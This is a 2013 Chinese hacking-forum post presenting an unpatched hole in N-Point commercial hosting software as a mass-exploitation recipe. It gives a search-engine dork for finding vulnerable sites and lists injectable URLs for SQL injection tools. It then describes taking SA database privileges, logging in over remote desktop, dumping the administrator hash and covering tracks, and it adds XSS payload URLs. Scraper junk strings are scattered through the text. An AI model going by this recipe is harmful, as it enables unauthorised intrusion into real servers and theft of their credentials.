中国网络渗透测试联盟

标题: N点商业版漏洞通杀0day以及利用方法 [打印本页]
作者: admin    时间: 2013-3-3 08:06
标题: N点商业版漏洞通杀0day以及利用方法
不得不说N点实在是一个破东西: ?/ S( j; n2 h' o
就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂
5 U$ n( d2 c1 \好吧 抱怨一下就行了  接下来关键的时候到了
- B7 E) x4 x9 J! A" @首先百度搜索关键字：inurl: (mmdatabase.asp)
9 v! I6 }% g/ |" C我随便列举一个：   www.xxxx.com
$ F, P& B& M/ |6 f& x修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1
/ S$ h1 ~# e6 C! A% T! I' N扔入NBSI 或者啊D等各种傻逼工具后
2 U& U% @; |/ x, _7 C7 b你们会看到是SA权限
2 q3 ^" n$ L. V, U) C. M果断3389 上去  hash得到administrator密码
" G+ l3 n8 \+ O8 v! _5 b擦屁股走人~% z) E* S5 \7 v: }! d) n3 `- Q: j
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的6 M" g/ l9 }' s7 l" N1 J; }
; P$ U8 g- @+ U3 x1 l9 U/ Z9 f9 H, W6 `
再附上其他几个漏洞页面' s- P& j5 A; U. B1 ~4 ^
SQL：1 V# u/ {: x( T
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=10 t: o" ~/ T9 r# ]% G) x
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11! A0 P* q+ t1 S# v' n8 M
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=95 R+ i3 I& l( x& Q& `3 `' f
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=2' k4 l5 k  Y0 B! N! v
XSS证明：3 p: k9 p- q$ d2 B
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
: U  O" q) @- X. zhttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
% n& ~& Y+ s1 X+ j( |http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
$ p) O0 e3 s0 T3 a; \: l由此可见点就是坑逼中的战斗机   自从用了他我的眼泪都流干了  有做IDC的朋友千万别步我后尘啊   便宜没好货好货不便宜
7 C1 i4 x6 o* ~, {# o3 g1 J还是星外吧  你们懂的
0 u, O+ e) {: E! f) i作为一个商用程序   安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？. l6 a5 Y" K# k; @- Q3 J2 c
PS：其实我真的很想知道你说N点这SB asp就asp吧  为什么asp还非要MSSQL  这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。   o(︶︿︶)o 唉3 F! S4 l/ l" \0 j. a7 |
——-



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2